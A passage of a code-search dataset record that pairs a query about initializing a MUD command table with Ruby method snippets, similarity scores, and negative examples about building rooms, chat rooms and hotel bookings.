(@parse_results[:command][1..-1].map {|a| a[:text]}).join(\" \")\n ((EventPrinter::Vocab::Command + \" \") * (@parse_results[:indent] + 1)) + text\n end", "def extract_highlights_from(code, options)\n code.gsub!(%r[\\{% highlight (.+) %\\}]) do\n enumerable = eval($1.strip)\n enumerable = (Enumerable === enumerable)? enumerable : nil\n options.merge!({:highlight_lines => enumerable}) if enumerable\n ''\n end\n [code.strip, options]\n end", "def usage_string\n result = [full_name]\n result << \"[command]\" if commands.any?\n args.each do |arg|\n result << arg.usage_string\n end\n result << \"[options]\" unless flags.empty?\n result << catch_all_usage if catch_all\n result.join \" \"\n end", "def usage_presentation\n \" #{command.syntax}\"\n end", "def print_tokens\n\t\t@tokens.each do |token|\n\t\t\tprint \"token #{token.get_type} value (#{token.get_value}) \"\n\t\t\tputs \"at line: #{token.get_nline}, column: #{token.get_ncolumn}\" \n\t\tend\n\tend", "def output\n @output.map(&:to_s)\n end", "def output\n []\n end", "def plain_source\n lines.join\n end", "def get_help\n [self.class::DESCRIPTION, self.class::USAGE]\n end", "def fullscan\n array = []\n\n self.scan { |token, str|\n # Ignore any definition nesting problems\n @indefine = false\n array.push([token,str])\n }\n array\n end", "def basic_output()\n temp_string = String.new()\n\n if (@utype != \"\")\n temp_string = temp_string + \"#{@utype} = \"\n end\n temp_string = temp_string + @commandName\n temp_string = temp_string + \"\\n\"\n @keywordPairs.each {|array| temp_string = temp_string + \"\\t#{array[0]} = #{array[1]}\\n\" }\n temp_string = temp_string + \"..\\n\"\n\n temp_string = temp_string + \"$Parents\\n\"\n @parents.each do |array|\n temp_string = temp_string + \"$\\t#{array.utype} = #{array.commandName}\\n\"\n end\n temp_string = temp_string + \"..\\n\"\n\n temp_string = temp_string + \"$Children\\n\"\n @children.each {|array| temp_string = temp_string + \"$\\t#{array.utype} = #{array.commandName}\\n\" }\n temp_string = temp_string + \"..\\n\"\n\n end", "def print_feedback\n\t\ttemp_array = []\n\t\t@feedback.each do |x|\n\t\t\tif x[1]\n\t\t\t\ttemp_array << x[0]\n\t\t\telse\n\t\t\t\ttemp_array << '_'\n\t\t\tend\n\t\tend\n\t\ttemp_array.join(' ')\n\tend", "def build_var *args\n line = \"#{args[0]}\"\n # bracket [] any additional arguments\n line << \" [#{args[1...args.length].join('] [')}]\" if args.length > 1\n line\n end" ]
[ "0.61984724", "0.6170192", "0.60561275", "0.5983776", "0.58088243", "0.58037555", "0.5798638", "0.57766515", "0.57680833", "0.5703316", "0.5699007", "0.56761307", "0.5639792", "0.56392", "0.5638582", "0.56160325", "0.5596635", "0.5581493", "0.5562743", "0.5552735", "0.553896", "0.5530758", "0.5523941", "0.550875", "0.5489633", "0.5478885", "0.5477339", "0.5476614", "0.5476614", "0.54562587", "0.5394092", "0.539035", "0.53875965", "0.5360776", "0.5358264", "0.5339213", "0.53374314", "0.53358924", "0.5327322", "0.53004485", "0.52976", "0.52945834", "0.52945834", "0.52945834", "0.52945834", "0.52945834", "0.52945834", "0.52945834", "0.52945834", "0.5278807", "0.52687055", "0.52603143", "0.52603143", "0.5259774", "0.524905", "0.52488077", "0.5232744", "0.5228225", "0.5218128", "0.521556", "0.52125067", "0.5208841", "0.52038586", "0.51998764", "0.519821", "0.51977104", "0.5196745", "0.51941895", "0.518405", "0.51795894", "0.51755446", "0.51672095", "0.5163514", "0.5162585", "0.516013", "0.5157836", "0.51547825", "0.51410306", "0.5140363", "0.51279634", "0.5103492", "0.5103492", "0.50956565", "0.5091631", "0.5086307", "0.5080934", "0.50807315", "0.5064627", "0.5063191", "0.5062111", "0.505563", "0.5050777", "0.50497997", "0.5049379", "0.50457776", "0.5043968", "0.50404763", "0.5040349", "0.5028111", "0.5027162" ]
0.63633734
0
This is the initialize function that must be called manually to grab refernces from the global table.
def init_cmd_table # Right now just adding all commands into the copied table. Maybe later a check for if is immortal or not. @cmds[:unsecure] = $tabCmd @cmds[:secure] = $tabWizCmd return true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize_table; end", "def initialize\n @get_table = TABLE\n end", "def target_init\n @scope = Scope.new('GLOBAL')\n @references = References.new\n end", "def initialize(table_ref=nil)\n @table_ref = table_ref\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def at_init\n\n\t\tend", "def init\n end", "def init\n end", "def init\n end", "def initialize() # no file name if want to build model manually\n @reRefs = Hash.new(*[]) # references to the entity, hash keyed by entity\n @enums={}; @records = {}\n @ver = nil\n end", "def init\n\n end", "def initialize\n @table = {}\n end", "def after_initialize\n end", "def post_init\n end", "def pre_initialize; end", "def post_initialize\n end", "def pre_initialize\n end", "def initialize() end", "def initialize(table)\n @table, @data = table, table.data\n \n initialize_values\n define_accessors\n end", "def initialize\n\t\t\n\tend", "def init\n\nend", "def initialize\n init\n end", "def initialize_register_debug_table\n @register_debug_table = get_register_name_hash.invert\n end", "def initialize(table)\n @table = table\n end", "def initialize\n @@all << self\n \n end", "def init; end", "def after_initialize\n end", "def after_initialize\n end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def initialize (num_legs) #You can put specific table material in initialize\n\t\t@tabletop = []\n\t\t@num_legs = num_legs\n\tend", "def initialize()\n\t\tend", "def initialize\n @@all << self\n end", "def initialize(object)\n @object = object\n @tables = Hash.new {|hash, key| hash[key] = get_table(key)}\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize\n\n\n\n end", "def initialize()\n end", "def initialize()\n @node_cnt = 0;\n @hash_table = Hash.new(); # setup empty hash\n end", "def initialize(global)\n @global = global\n @needs_defref = true\n @final = false\n @file_importer = FileImporter.instance\n @loaded = false\n @array = nil\n @map = nil\n end", "def post_init\n end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def after_initialize\n @loaded = Set.new\n end", "def initialize()\r\n\r\n end", "def on_initialize\n end", "def pre_initialize_fields\n end", "def post_init\n\tend", "def initialize #everytie an instance of the class is initialized, we should push it into the @@all class variable\n @@all << self\n end", "def initialize(table)\n @table = table\n end", "def after_initialize\n end", "def initialize\r\n\r\n end", "def initialize\n\t \t# loading or not loading should be the key here.\n end", "def initialize(ref, table, max_level, filtered, where_fields, title)\n @ref = ref\n @table = table\n @max_level = max_level\n @filtered = filtered\n @where_fields = where_fields\n @title = title\n end", "def initialize\n @loaded_constants = []\n load_all\n end", "def initialize(table)\n @table = table\n freeze\n end", "def on_init; end", "def on_init; end", "def initialize()\n # Cards table, containing cards hashes\n setAllCards()\n end", "def init_route_tables\n @@client.describe_route_tables.route_tables\n end", "def initialize()\n @gen_info_fields = _general_information_fields();\n \n @addr_fields = _address_fields();\n\n end", "def initalize\n @@all << self\n end", "def initialize table_name\n @table_name = table_name\n\n # Retrieves or Create the ActiveRecord::Base subclass that will match the table.\n table = meta_def_ar_class\n\n # Handle ActiveRecord::Base delegation, to ensure painless associations\n self.class.delegate_to table\n\n # Establishes a connection to the database\n table.connect unless table.connected?\n end", "def initialize(table_sync)\n self.table_sync = table_sync\n end", "def initialize\n @@all << self\n end", "def post_initialize_fields\n end", "def initialize\n\t\nend", "def initialize dato,ref\n\t\t@dato=dato\n\t\t@ref=ref\n\tend", "def user_init; end", "def after_initialize(options={}) ; end", "def after_initialize \n end", "def refutal()\n end", "def initialize(table={})\n @table = table\n end", "def initialize()\n #@ch = Concept.init_concept_hash()\n #Indexer.initialize_dict()\n #@ch = Indexer.init_concept_hash\n end", "def initialize\n # complete\n end", "def initialize\n \n end", "def initialize\n @init_crc = self.class.const_get(:INIT_CRC)\n @xor_mask = self.class.const_get(:XOR_MASK)\n @width = self.class.const_get(:WIDTH)\n @reflect_input = self.class.const_get(:REFLECT_INPUT)\n @table = self.class.const_get(:TABLE)\n\n reset\n end", "def initialize\n super()\n init_data()\n end", "def initialize\n end", "def initialize\n\tinit\n\tsuper\nend", "def initialize()\n\tend", "def initialize()\n\tend", "def refinit\n return if defined?(@_references)\n\n @_references = 1\n @_references_mutex = Mutex.new\n\n self\n end", "def initialize_copy(orig)\n super\n @__table__ = @__table__.dup\n end", "def refs\n @refs ||= load_refs\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end" ]
[ "0.7085031", "0.6912361", "0.6798433", "0.65085983", "0.6469237", "0.6469237", "0.6469237", "0.6469237", "0.64547354", "0.6427564", "0.6427564", "0.6427564", "0.64098775", "0.6396756", "0.63724375", "0.63120174", "0.62781143", "0.6265971", "0.62604713", "0.6243602", "0.62319183", "0.62302476", "0.6205395", "0.6203616", "0.61945397", "0.61824846", "0.6167181", "0.6152596", "0.61524683", "0.61521524", "0.61521524", "0.6137061", "0.6137061", "0.6137061", "0.6137061", "0.613418", "0.6118081", "0.61090225", "0.60918325", "0.6087985", "0.6087985", "0.60826814", "0.6082099", "0.607865", "0.6077888", "0.6072271", "0.6055025", "0.6055025", "0.60092264", "0.5997719", "0.5987164", "0.5986211", "0.5984157", "0.59840405", "0.59801865", "0.5974496", "0.5974452", "0.59628236", "0.5962188", "0.5960622", "0.59598047", "0.59264374", "0.59264374", "0.59255844", "0.5915797", "0.5908071", "0.59071696", "0.589698", "0.5896375", "0.58926773", "0.5889435", "0.5884127", "0.5876688", "0.587188", "0.58681846", "0.5866974", "0.58641654", "0.5863316", "0.585397", "0.5851957", "0.5851519", "0.585133", "0.5849567", "0.58468175", "0.58464396", "0.58450687", "0.58450687", "0.58415645", "0.58376956", "0.5837262", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139", "0.5835139" ]
0.0
-1
automatically creates new rooms and digs them out in a direction. if a room is supplied we use it unconditionally.
def buildwalk(dir, supplied=nil) if supplied if supplied.is_a?(Room) found = {:room=>supplied} else view "Linking failed. Target was not a room." + ENDL return nil end else m = Automap.new(in_room, [(-1..1),(-1..1)], {:full_traverse=>true}) found = m.find(Automap.offset([0,0], dir)) end if !found new_room = Room.dig_rooms(in_room.vnum, Vnum.gen_vnum, dir) new_room.sector = in_room.sector # same sector as old room new_room.namespace = in_room.namespace new_room.assign_tag Tag.gen_generic_tag(new_room), in_room.namespace return new_room else Room.dig_rooms(in_room.vnum, found[:room].vnum, dir) return found[:room] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_in_direction dir\n new_room = Room.create({:created_at=>Time.now, :x=>self.x, :y=>self.y, :z=>self.z})\n \n case dir\n when \"north\",:north, 0\n new_room.y += 1\n when \"east\", :east, 1\n new_room.x += 1\n when \"south\",:south, 2\n new_room.y -= 1\n when \"west\",:west, 3\n new_room.x -= 1\n when \"up\",:up, 4\n new_room.y += 1\n when \"down\",:down, 5\n new_room.y -= 1\n end\n \n create_exit(dir, new_room, true) # two way exit\n return new_room\n end", "def update_rooms\n Room.find_or_create_by(name: @moving_item.room)\n end", "def room\n end", "def populate_room\n unless @dungeon.first_room\n @enemy = Zarta::Enemy.new(@dungeon) if enemy_spawned\n end\n @dungeon.first_room = false\n @weapon = Zarta::Weapon.new(@dungeon) if weapon_spawned\n @stairs = stairs_spawned\n end", "def create_room\n Room.new\n end", "def rooms_around(room)\n # Get the person's rooms in alphabetical order\n rooms = memberships.unarchived.alpha\n\n # If there are 5 or fewer we don't need to do anything fancy\n return rooms if rooms.length <= 5\n\n # Get the index for the current room\n room_idx = rooms.index(Membership.joining(self,room).first)\n\n # By default, show two rooms on either side\n lower = room_idx-2 < 0 ? 0 : room_idx-2\n upper = room_idx+2 > rooms.length-1 ? rooms.length-1 : room_idx+2\n\n # If this room is near the bottom of the list, fill in from the top\n if lower < 2\n upper += 2-lower\n rooms = rooms[lower..upper][0,5]\n\n # If this room is near the top of the list, fill in from the bottom\n elsif rooms.length-upper < 2\n lower -= rooms.length-upper+1\n logger.debug(\"__NOW__ LENGTH: #{rooms.length}, LOWER: #{lower}, UPPER: #{upper}, IDX: #{room_idx}\")\n rooms = rooms[lower..upper][-5,5]\n\n # No need to fill, just show that subset\n else\n rooms = rooms[lower..upper]\n end\n\n rooms\n end", "def room; end", "def new_rooms\n min_rooms = MIN_NEXT_ROOMS\n max_rooms = MAX_NEXT_ROOMS\n rand(min_rooms..max_rooms).times do\n @next_rooms << Zarta::Room.new(@dungeon)\n end\n end", "def make_hotel_rooms\n (1..20).each do |num|\n @all_rooms << num #Hotel::Room.new(num) I don't think I have to do this\n end\n end", "def add_room(room)\n @@number_of_rooms += 1\n @rooms << room\n end", "def add_room(room)\n @rooms << room\n return self\n end", "def add_room(room)\n @rooms << room\n return self\n end", "def add_rooms_to_dungeon(dungeon)\n dungeon.add_room(:largecave,\n \"Large Cave\",\n \"a large cavernous cave\",\n { :west => :smallcave })\n\n dungeon.add_room(:smallcave,\n \"Small Cave\",\n \"a small, claustrophobic cave\",\n { :east => :largecave })\n\nend", "def add_room(room)\n @rooms << room\n return self\nend", "def create_rooms(rooms_params)\n\t\trooms_params[:extra_info] ||= \"\"\n\n\t\trooms_params[:range].each do |number|\n\t\t\trooms << Room.create( number: number.to_i, \n\t\t\t\t\t\t\t\t\t\t\t\t\t capacity: rooms_params[:capacity].to_i, \n\t\t\t\t\t\t\t\t\t\t\t\t\t extra_info: rooms_params[:extra_info],\n\t\t\t\t\t\t\t\t\t\t\t\t\t name: rooms_params[:name] )\n\t\tend\n\tend", "def create_default_rooms\n wish_list_name = 'Wish List'\n self.dressing_rooms.create label: wish_list_name unless self.dressing_rooms.any? {|room| room.label == wish_list_name}\n\n closet_name = 'My Closet'\n self.dressing_rooms.create label: closet_name unless self.dressing_rooms.any? {|room| room.label == closet_name}\n\n session_name = \"My Cart\"\n session_room = self.dressing_rooms.create label: session_name unless self.dressing_rooms.any? {|room| room.label == session_name}\n self.recent_dressing_room = session_room if self.recent_dressing_room.nil?\n self.save!\n end", "def room(location = nil)\n return @@current_room if location.nil?\n Item.allRooms.each do |r|\n return r if r.item_id == location\n end\n# @room[@room_id]\n end", "def add_room room_name\n @@available_rooms.push room_name unless @@available_rooms.include? room_name\n @rooms_list.append do\n flow :margin => 5 do\n # _why assures me the :checked style will work in the next release\n joined = check :checked => @@joined_rooms.include?(room_name) do |chk|\n @@joined_rooms.push(room_name) and @@room_data[room_name].merge! Chat.join(room_name) if chk.checked?\n Chat.leave(room_name) and @@joined_rooms.delete(room_name) unless chk.checked?\n end\n \n para room_name, :underline => (@room == room_name ? :one : false)\n \n click do\n visit(\"/room/#{room_name}\")\n end unless @room == room_name\n end\n end\n end", "def add(room)\r\n raise \"Illegal room: #{room.inspect}\" unless room.class == Room\r\n puts \"Room #{room.id} already exists.\" if @rooms[room.id]\r\n @rooms[room.id] = room\r\n @current_room = room unless @current_room\r\n end", "def set_room\n @room = current_user.rooms.find_by(id: params[:id] || params[:room_id])\n end", "def go_room(command)\n if @current_room.has_exit?(command) \n # current room has this exit \n exit_room = @current_room.get_exit(command) # return string of room name\n # Search for instance of this room\n # update current room\n @game_rooms.each do |room|\n if room.is_room?(exit_room)\n @current_room = room # update current room\n end\n end\n puts \"\\nYou have entered the #{@current_room.print_name}!\\n\"\n else \n puts \"That is not a direction you can travel.\\n\"\n end\n end", "def create(id, alas, users, timestamp)\n room = rooms[id]\n room.alias = alas unless alas.nil? || alas.empty?\n room.users = users unless users.nil? || users.empty?\n room.timestamp = timestamp unless timestamp.nil?\n room\n end", "def set_room\n @room = Room.find_by_id(params[:id])\n end", "def create_Ant_Room\n @rooms.each do |room|\n if food > 0\n myAnt = Ant.new\n myAnt.x = room.x\n myAnt.y = room.y\n myAnt.anthill = self\n\n if room.type == \"foreger\"\n myAnt = create_Forager(myAnt)\n elsif room.type == \"builder\"\n myAnt = create_Builder(myAnt)\n else\n myAnt = create_Warrior(myAnt)\n end\n\n Meadow.instance.add_AntToCell(myAnt, @x, @y)\n @food -= 1 \n else\n break\n end\n\n end\n\n end", "def set_room\n @room = Room.find(params[:id])\n \n end", "def create_room(attributes, options = {})\n options.defaults = {\n set_recent: true\n }\n room = dressing_rooms.create(attributes)\n room.prepare(prepare_all: true)\n\n set(:recent_dressing_room_id, room.id) if options[:set_recent]\n end", "def set_room\n @room = Room.find(params[:room_id].to_i) unless params[:room_id].nil?\n end", "def roll\n room = Room.new\n room.short_name = short_name\n room.description = description\n room\n end", "def create\n room = params[:room]\n if Room.find_by_room_id(room[\"room_id\"]) == nil\n @room = Room.new(params[:room])\n respond_to do |format|\n if @room.save\n format.html { redirect_to @room, notice: 'Room was successfully created.' }\n format.json { render json: @room, status: :created, location: @room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:notice] = \"can not add new room\"\n redirect_to new_room_path\n end\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room(room_name)\n @room = find_room_by_name(room_name)\n end", "def set_room\n @room = Room.get_room(params[:id], params[:branch_id]).first\n end", "def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n\n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd?\n place_room(r_w, r_h, room_id)\n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n end", "def get_next_room(rooms)\n r = rooms.shift\n\n # count previous r's visited, todo fixme\n @history.reverse_each do |h|\n if h.class != r\n break\n end\n\n r = rooms.shift\n end\n\n if not r\n throw :quit\n end\n\n # todo modify methods\n\n r\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:id])\n end", "def reserve_room\n unless rooms_available?\n raise NoRoomsError.new(\"All rooms are reserved.\")\n end\n room = @available_rooms.pop\n @reserved_rooms << room\n return room\n end", "def place_room(w,h,room_id)\n \n max_tries = Dungeon::MAX_PLACEMENT_ITERATION\n c_try = 0\n while c_try < max_tries\n\n # Get the top left corner, must be even \n tli = (rand*@width).floor\n tli += 1 if tli.odd?\n tlj = (rand*@height).floor\n tlj += 1 if tlj.odd?\n\n # Check all the cells from this point are unallocated, \n # and an extra 1 width around for perimeter\n failed = false\n (tli..tli+w+1).each do |i|\n (tlj..tlj+h+1).each do |j|\n if !failed\n failed = true if @cells[i][j].type != Cell::UNALLOCATED\n end\n end\n end\n\n \n # if checks ok, build the room and the perimeter\n if !failed\n\t\t\t\t# Probability falls so there are an average of 2 doors per room\n\t\t\t\tper = 2*(w+h)\n\t\t\t\tdoor_chance = Dungeon::ROOM_DOORS/per\n\n\t\t\t\t# Prep for building a logical object ready for dead end removal\n\t\t\t\troom_cells = []\n\n (tli..tli+w+1).each do |i|\n (tlj..tlj+h+1).each do |j|\n @cells[i][j].type = Cell::ROOM\n @cells[i][j].room_id = room_id\n\t\t\t\t\t\t\t# If perimeter wall, assign door if random number is under the threshold\n \t\t\t\t\t\tif i == tli || i == tli+w+1 || j == tlj || j == tlj+h+1 \n @cells[i][j].type = Cell::PERIMETER \n\t\t\t\t\t\t\t\tif i.odd? || j.odd?\n\t\t @cells[i][j].type = Cell::ENTRANCE if rand < door_chance\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t# Store the room cells read for assignment to logical structure\n\t\t\t\t\t\t\troom_cells << @cells[i][j];\n end\n end\n # Meet loop criterea\n c_try = Dungeon::MAX_PLACEMENT_ITERATION\n\n\t\t\t\t# Build logical object and map entrance cells to the room\n\t\t\t\troom_obj = RoomBranch.new(room_cells)\n\t\t\t\troom_cells.each { |c| room_map[c] = room_obj if c.type == Cell::ENTRANCE }\n\n end\n \n c_try += 1\n end\n \n end", "def set_room\n\t\t\t@room = Room.find(params[:id])\n\t\tend", "def spawn(player_room)\n # get all possible paths and create a hash indexed by size\n paths_to_player = self.rooms.inject({}) do |hsh, room|\n path = self.class.grue_path(room, player_room, self.edges)\n hsh[path.size] = path\n hsh\n end\n\n # get the longest of the shortest paths\n # (this is as far away as we can get)\n longest_path = paths_to_player[paths_to_player.keys.max]\n\n # get the first element of the first edge\n self.current_room = longest_path.first.first\n end", "def set_room\n @room = Room.find(params[:id]) rescue nil\n return res_with_error(\"Room not found\", :not_found) unless @room\n end", "def add_room(reference, name, description, connections)\n new_room = Room.new(reference, name, description, connections) \n @rooms << new_room\n return new_room\n end", "def createRoom()\n\t\twidth = rand(@areaWidth * 0.5 .. @areaWidth * 0.7).floor\n\t\theight = rand(@areaHeight * 0.5 .. @areaHeight * 0.7).floor\n\t\t@room = [\n\t\t\trand(@areaX + @areaWidth * 0.15 .. @areaX + @areaWidth - width * 1.15).ceil,\n\t\t\trand(@areaY + @areaHeight * 0.15 .. @areaY + @areaHeight - height * 1.15).ceil,\n\t\t\twidth,\n\t\t\theight,\n\t\t]\n\tend", "def add_room(reference, name, description, connections)\n\t\t@rooms << Room.new(reference, name, description, connections)\n\tend", "def set_room\n @room = Room.find(params[:id])\n end", "def set_room\n @room = Room.find(params[:room_id])\n end", "def set_room\n @room = Room.find(params[:room_id])\n end", "def rooms_by_key\n @rooms_by_key ||= begin\n by_key = {}\n\n rooms.each do |room|\n if by_key.key?(room.key)\n raise \"Unexpected duplicate room #{room.key}: #{room.inspect}\"\n end\n\n by_key[room.key] = room\n end\n\n by_key\n end\n end", "def room_finder(searching_range)\n\t\t\tpossible_rooms = @rooms\n\t\n\t\t\t@reservations.each do |reservation|\n\t\t\t\tif reservation.range.include_range?(:booking, searching_range) == false\n\t\t\t\t\tpossible_rooms.delete(reservation.room)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\traise ArgumentError.new(\"No rooms left for this time range\") if possible_rooms.length == 0\n\n\t\t\treturn possible_rooms\n\t\tend", "def room?\n type == :room_id || type == :room_alias\n end", "def room?\n type == :room_id || type == :room_alias\n end", "def create_exit_to(direction, room)\n\t\t\tcurrent_room.add_exit(direction, room)\n\t\tend", "def place_room(w, h, room_id)\n\n max_tries = Dungeon::MAX_PLACEMENT_ITERATION\n c_try = 0\n while c_try < max_tries\n\n # Get the top left corner, must be even \n tli = (rand*@width).floor\n tli += 1 if tli.odd?\n tlj = (rand*@height).floor\n tlj += 1 if tlj.odd?\n\n # Check all the cells from this point are unallocated, \n # and an extra 1 width around for perimeter\n failed = false\n (tli..tli+w+1).each do |i|\n (tlj..tlj+h+1).each do |j|\n if !failed\n failed = true if @cells[i][j].type != Cell::UNALLOCATED\n end\n end\n end\n\n\n # if checks ok, build the room and the perimeter\n if !failed\n # Probability falls so there are an average of 2 doors per room\n per = 2*(w+h)\n door_chance = Dungeon::ROOM_DOORS/per\n\n # Prep for building a logical object ready for dead end removal\n room_cells = []\n\n (tli..tli+w+1).each do |i|\n (tlj..tlj+h+1).each do |j|\n @cells[i][j].type = Cell::ROOM\n @cells[i][j].room_id = room_id\n # If perimeter wall, assign door if random number is under the threshold\n if i == tli || i == tli+w+1 || j == tlj || j == tlj+h+1\n @cells[i][j].type = Cell::PERIMETER\n if i.odd? || j.odd?\n @cells[i][j].type = Cell::ENTRANCE if rand < door_chance\n end\n end\n\n # Store the room cells read for assignment to logical structure\n room_cells << @cells[i][j];\n end\n end\n # Meet loop criterea\n c_try = Dungeon::MAX_PLACEMENT_ITERATION\n\n # Build logical object and map entrance cells to the room\n room_obj = RoomBranch.new(room_cells)\n room_cells.each { |c| room_map[c] = room_obj if c.type == Cell::ENTRANCE }\n\n end\n\n c_try += 1\n end\n\n end", "def rooms\n Hpricot(get.body).search(\"//h2/a\").collect do |a|\n Room.new(self, room_id_from_url(a.attributes['href']), a.inner_html)\n end\n end", "def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n \n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd? \n place_room(r_w, r_h, room_id) \n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n \n puts \"Alloc: #{allocated_cells} Placed:#{taken_cells}\"\n\n end", "def set_room\n @room = TmuAdmin::Room.find(params[:id])\n end", "def assign_room\n total_rooms, available_rooms = [], []\n room_type = RoomType.find(self.room_type_id)\n total_rooms = room_type.rooms.pluck(:id)\n booked_rooms = Booking.where('(start_date >= ? and start_date <= ?) or (end_date >= ? and end_date <= ?)', self.start_date, self.end_date, self.start_date, self.end_date).pluck(:room_id)\n available_rooms = total_rooms - booked_rooms\n self.update_column(:room_id, available_rooms.first)\n end", "def search_room\n @rooms=Room.new\n \n\n # #debugger\n end", "def set_current_room\n if cr.defeated\n $map.level_rooms.each do |r|\n if self.bounding_box_collision?(r)\n @cr = r\n end\n end\n $map.hallways.each do |h|\n if self.bounding_box_collision?(h)\n @cr = h\n end\n end\n end\n end", "def add_room(reference, name, description, connections)\r\n @rooms << Room.new(reference, name, description, connections)\r\n end", "def create_room(name, topic = nil)\n find_room_by_name(name) if verify_response(post(\"account/create/room?from=lobby\", {:room => {:name => name, :topic => topic}}, :ajax => true), :success)\n end", "def graph_room_list()\n return MicrosoftGraph::Places::GraphRoomList::GraphRoomListRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def get_room\n @key = @a_keys.shift\n find_room(@key)\n end", "def make_room_reservation(test_range, room)\n overlapping = self.list_room_reservations(room, test_range)\n if overlapping.length != 0\n raise ArgumentError.new(\"room not available in that date range\")\n else\n new_res = Reservation.new(date_range: test_range, room: room)\n @reservations << new_res\n return new_res\n end\n end", "def method_missing(symbol, *args)\n super unless args.size == 0\n @@rooms[symbol] || BlackHole.new\n end", "def create\n @room = Room.new(room_params)\n \n if @room.user == nil\n room.user = \"\"\n end\n \n respond_to do |format|\n if @room.save\n format.html { redirect_to rooms_path, notice: \"Sala '\" + @room.name + \"' criada com sucesso!\" }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def start\n rooms = get_rooms \n lookup_table = get_room_lookup_table(rooms)\n EventMachine::run do\n rooms.each do |room_id|\n room_manager(room_id, lookup_table)\n end\n end\nend", "def get_new_room (user_input, current_room)\n\t\tnew_location = current_room.location\n\t\tcase user_input\n\t\twhen \"N\"\t \n\t\t\t new_location[:y] +=1\n\t\twhen \"E\"\n\t\t\tnew_location[:x] +=1\n\t\twhen \"S\"\n\t\t\tnew_location[:y] -=1\n\t\twhen \"W\"\n\t\t\tnew_location[:x] -=1\n\t\tend\n\t\tnew_room = @rooms.select do |name, room|\n\t\t\troom.location == new_location\n\t\tend\n\t\treturn new_room.to_a[0][1]\n\tend", "def set_room\n unless @room = @school.rooms.find_by_id(params[:id])\n redirect_to school_path(@school), :alert => \"That room does not exist.\"\n end\n end", "def room\n return self\n end", "def add_room_to_house!(house, room_name) # house becomes a hash\n\tif house.keys.length == 5 # limits number of rooms to 5. Rooms are keys.\n\t\tfalse\n\telse \n\t\thouse[room_name] = [] \n\t\ttrue\n\tend\nend", "def create_chatroom(room_hash, admin_name, client_name)\n unless room_exists?(room_hash)\n create_room(room_hash, admin_name, client_name)\n end\n end" ]
